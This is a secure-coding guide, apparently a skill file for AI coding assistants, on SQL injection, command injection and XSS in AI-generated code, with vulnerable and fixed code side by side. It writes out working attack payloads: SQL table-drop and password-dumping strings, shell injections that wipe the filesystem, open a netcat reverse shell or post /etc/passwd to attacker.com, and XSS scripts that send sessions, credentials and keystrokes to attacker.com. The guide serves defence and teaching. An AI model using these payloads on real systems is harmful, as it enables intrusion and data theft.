Understand how AI generates SQL injection, command injection, and XSS vulnerabilities...
Input validation vulnerabilities represent the most common security flaw in AI-generated code. According to a 2025 report from Contrast Security:
"Input validation is often overlooked or implemented incorrectly in AI-generated code, creating openings for injection attacks that can compromise entire systems."
The AI's training on millions of code examples, many containing outdated or insecure patterns, perpetuates these vulnerabilities.
SQL injection remains one of the most critical vulnerabilities in AI-generated code. Research from Aikido Security found that when prompted to create database query functions, AI assistants produced vulnerable code in 68% of cases.
# Prompt: "Create a user search function with database"
def search_users(search_term, role=None):
# ❌ VULNERABLE: Direct string concatenation
query = f"SELECT * FROM users WHERE name LIKE '%{search_term}%'"
if role:
# ❌ VULNERABLE: Multiple injection points
query += f" AND role = '{role}'"
cursor.execute(query)
return cursor.fetchall()
# Attack vector:
# search_term = "'; DROP TABLE users; --"
# Resulting query: SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'
def search_users_secure(search_term, role=None):
# ✅ SECURE: Parameterized queries prevent injection
if role:
query = "SELECT * FROM users WHERE name LIKE %s AND role = %s"
params = (f"%{search_term}%", role)
else:
query = "SELECT * FROM users WHERE name LIKE %s"
params = (f"%{search_term}%",)
cursor.execute(query, params)
return cursor.fetchall()
1. Training Data Contamination:
2. Simplicity Bias:
3. Lack of Security Context:
Direct String Interpolation:
f"SELECT * FROM users WHERE name = '{user_input}'"
The Problem:
Attack Examples:
# Normal use:
search_term = "John"
# Query: SELECT * FROM users WHERE name LIKE '%John%'
# ✓ Returns users named John
# Attack 1: Table drop
search_term = "'; DROP TABLE users; --"
# Query: SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'
# ✗ Deletes entire users table
# Attack 2: Data exfiltration
search_term = "' UNION SELECT password FROM admin WHERE '1'='1"
# Query: SELECT * FROM users WHERE name LIKE '%' UNION SELECT password FROM admin WHERE '1'='1%'
# ✗ Exposes admin passwords
# Attack 3: Bypass authentication
search_term = "' OR '1'='1"
# Query: SELECT * FROM users WHERE name LIKE '%' OR '1'='1%'
# ✗ Returns all users (always true condition)
Equifax Breach (2017):
A 2024 analysis by SecureLeap found that AI models frequently generate code vulnerable to command injection, particularly when dealing with system operations. The models often default to:
shell=True in subprocess calls// Prompt: "Create an image conversion API endpoint"
const { exec } = require('child_process');
app.post('/convert-image', (req, res) => {
const { inputFile, outputFormat, quality } = req.body;
// ❌ VULNERABLE: Unvalidated user input in shell command
const command = `convert ${inputFile} -quality ${quality} output.${outputFormat}`;
exec(command, (error, stdout, stderr) => {
if (error) {
return res.status(500).json({ error: error.message });
}
res.json({ success: true, output: `output.${outputFormat}` });
});
});
// Attack vector:
// inputFile = "test.jpg; curl http://attacker.com/shell.sh | bash"
const { spawn } = require('child_process');
const path = require('path');
app.post('/convert-image', (req, res) => {
const { inputFile, outputFormat, quality } = req.body;
// ✅ SECURE: Input validation
if (!/^[a-zA-Z0-9_\-]+\.(jpg|png|gif)$/.test(inputFile)) {
return res.status(400).json({ error: 'Invalid input file' });
}
if (!['jpg', 'png', 'webp'].includes(outputFormat)) {
return res.status(400).json({ error: 'Invalid output format' });
}
const qualityNum = parseInt(quality, 10);
if (isNaN(qualityNum) || qualityNum < 1 || qualityNum > 100) {
return res.status(400).json({ error: 'Invalid quality value' });
}
// ✅ SECURE: Use spawn with argument array
const convert = spawn('convert', [
path.basename(inputFile),
'-quality', qualityNum.toString(),
`output.${outputFormat}`
]);
convert.on('close', (code) => {
if (code !== 0) {
return res.status(500).json({ error: 'Conversion failed' });
}
res.json({ success: true, output: `output.${outputFormat}` });
});
});
1. exec() is Simpler:
2. String Interpolation Habit:
3. No Input Validation in Training Data:
Attack 1: Command Chaining
inputFile = "image.jpg; rm -rf /"
// Executes: convert image.jpg -quality 80 output.jpg; rm -rf /
// Deletes entire file system
Attack 2: Reverse Shell
inputFile = "image.jpg; nc attacker.com 4444 -e /bin/bash"
// Opens reverse shell to attacker
// Attacker gains shell access to server
Attack 3: Data Exfiltration
inputFile = "image.jpg; curl -X POST https://attacker.com/data -d @/etc/passwd"
// Sends sensitive files to attacker
exec() vs spawn():
| Feature | exec() | spawn() |
|---|---|---|
| Shell | Always uses shell | No shell by default |
| Security | ❌ Dangerous | ✅ Safe |
| Arguments | String (injectable) | Array (not injectable) |
| Use case | Never with user input | Preferred for all cases |
According to research from KDnuggets:
"AI assistants often miss proper output encoding, creating XSS vulnerabilities that can lead to session hijacking and data theft."
The problem is particularly acute in template generation and dynamic HTML creation.
// Prompt: "Create a comment display system"
app.get('/comments/:postId', async (req, res) => {
const comments = await getComments(req.params.postId);
let html = `
<div class="comments">
<h2>Comments</h2>
`;
comments.forEach(comment => {
// ❌ VULNERABLE: Direct interpolation of user content
html += `
<div class="comment">
<strong>${comment.author}</strong>
<p>${comment.content}</p>
<small>${comment.timestamp}</small>
</div>
`;
});
html += '</div>';
res.send(html);
});
// Attack vector:
// comment.content = "<script>fetch('/api/session').then(r=>r.text()).then(t=>fetch('https://attacker.com?token='+t))</script>"
const escapeHtml = require('escape-html');
app.get('/comments/:postId', async (req, res) => {
const comments = await getComments(req.params.postId);
let html = `
<div class="comments">
<h2>Comments</h2>
`;
comments.forEach(comment => {
// ✅ SECURE: HTML escaping prevents XSS
html += `
<div class="comment">
<strong>${escapeHtml(comment.author)}</strong>
<p>${escapeHtml(comment.content)}</p>
<small>${escapeHtml(comment.timestamp)}</small>
</div>
`;
});
html += '</div>';
// ✅ SECURE: Set proper Content-Type and CSP headers
res.set('Content-Type', 'text/html; charset=utf-8');
res.set('Content-Security-Policy', "default-src 'self'; script-src 'self'");
res.send(html);
});
1. Template String Convenience:
2. Missing Context Awareness:
3. Training on Frontend Frameworks:
Attack 1: Session Theft
comment.content = `
<script>
fetch('/api/session')
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
`
// Steals session data from other users viewing comments
Attack 2: Credential Harvesting
comment.content = `
<script>
document.body.innerHTML += '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form action="https://attacker.com/phish"><h2>Session Expired - Please Login</h2><input name="username"><input type="password" name="password"><button>Login</button></form></div>';
</script>
`
// Shows fake login form, steals credentials
Attack 3: Keylogger Injection
comment.content = `
<script>
document.addEventListener('keydown', e => {
fetch('https://attacker.com/keys?key=' + e.key);
});
</script>
`
// Logs every keystroke, sends to attacker
British Airways (2018):
MySpace Samy Worm (2005):
1. Direct String Interpolation:
f"SELECT * FROM users WHERE id = {user_id}"exec(f"convert {filename}")html += 2. Missing Input Validation:
3. Lack of Security Functions:
4. Training Data Bias:
❌ String formatting in queries:
query = f"SELECT * FROM {table} WHERE {field} = '{value}'"
query = "SELECT * FROM users WHERE id = " + str(user_id)
query = f"INSERT INTO users VALUES ('{name}', '{email}')"
✅ Parameterized queries:
query = "SELECT * FROM users WHERE name = %s AND role = %s"
cursor.execute(query, (name, role))
❌ exec() with user input:
exec(`command ${userInput}`)
exec("command " + userInput)
os.system(f"command {user_input}") // Python
✅ spawn() with argument array:
spawn('command', [arg1, arg2, arg3])
subprocess.run(['command', arg1, arg2]) // Python
❌ Direct interpolation in HTML:
html += `<div>${userContent}</div>`
html = "<p>" + comment + "</p>"
innerHTML = userData.bio
✅ Escaped output:
html += `<div>${escapeHtml(userContent)}</div>`
// Or use framework auto-escaping (React, Vue)
For this Next.js + Convex project, use these secure patterns:
In Convex mutations:
// convex/users.ts
import { mutation } from "./_generated/server";
import { v } from "convex/values";
export const searchUsers = mutation({
args: {
searchTerm: v.string(),
role: v.optional(v.string())
},
handler: async (ctx, args) => {
// ✅ Convex uses type-safe queries (no SQL injection possible)
let query = ctx.db.query("users");
if (args.role) {
query = query.filter(q => q.eq(q.field("role"), args.role));
}
// Convex handles escaping automatically
return await query.collect();
}
});
Key Point: Convex's type-safe query builder prevents SQL injection by design. You can't inject SQL because you're not writing SQL—you're using TypeScript methods.
Avoid shell commands entirely in Next.js:
// ❌ Don't do this in Next.js API routes
import { exec } from 'child_process';
export async function POST(req: NextRequest) {
const { filename } = await req.json();
exec(`convert ${filename} output.jpg`); // VULNERABLE
}
If you must use system commands:
import { spawn } from 'child_process';
export async function POST(req: NextRequest) {
const { filename } = await req.json();
// ✅ Validate input first
if (!/^[a-zA-Z0-9_\-]+\.(jpg|png)$/.test(filename)) {
return NextResponse.json({ error: 'Invalid filename' }, { status: 400 });
}
// ✅ Use spawn with array (no shell)
const convert = spawn('convert', [filename, 'output.jpg']);
return new Promise((resolve) => {
convert.on('close', (code) => {
if (code === 0) {
resolve(NextResponse.json({ success: true }));
} else {
resolve(NextResponse.json({ error: 'Conversion failed' }, { status: 500 }));
}
});
});
}
Use built-in validation schemas:
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema, safeLongTextSchema } from '@/lib/validation';
export async function POST(req: NextRequest) {
const body = await req.json();
// ✅ Automatically removes < > " & (XSS characters)
const validation = validateRequest(safeLongTextSchema, body.comment);
if (!validation.success) {
return validation.response;
}
const safeComment = validation.data; // XSS characters removed
// Store and display safely
await db.comments.insert({ content: safeComment });
}
React auto-escapes output:
// ✅ React escapes automatically
<div>{userComment}</div>
// ❌ dangerouslySetInnerHTML bypasses escaping
<div dangerouslySetInnerHTML={{__html: userComment}} /> // Don't do this!
| Vulnerability Type | Occurrence Rate | Source |
|---|---|---|
| SQL Injection | 68% | Aikido Security (2025) |
| Command Injection | ~60% | SecureLeap (2024) |
| XSS | 35% | KDnuggets (2025) |
| Overall Injection | 45% | Veracode (2024) |
Equifax SQL Injection (2017):
British Airways XSS (2018):
→ input-validation skill - Complete Zod schema validation and XSS sanitization
→ security-testing skill - Test for injection vulnerabilities
→ security-overview skill - Defense-in-depth architecture
→ auth-vulnerabilities skill - Authentication bypass via injection
→ information-leakage skill - Error messages revealing injection points
✅ 68% of AI-generated database queries have SQL injection vulnerabilities ✅ AI defaults to simple, insecure patterns (string concatenation, exec, no validation) ✅ Real-world breaches prove injection vulnerabilities are existential threats ✅ Solution: Use type-safe query builders (Convex), validation schemas (Zod), and avoid shell commands ✅ Testing: Always test with malicious input ('; DROP TABLE,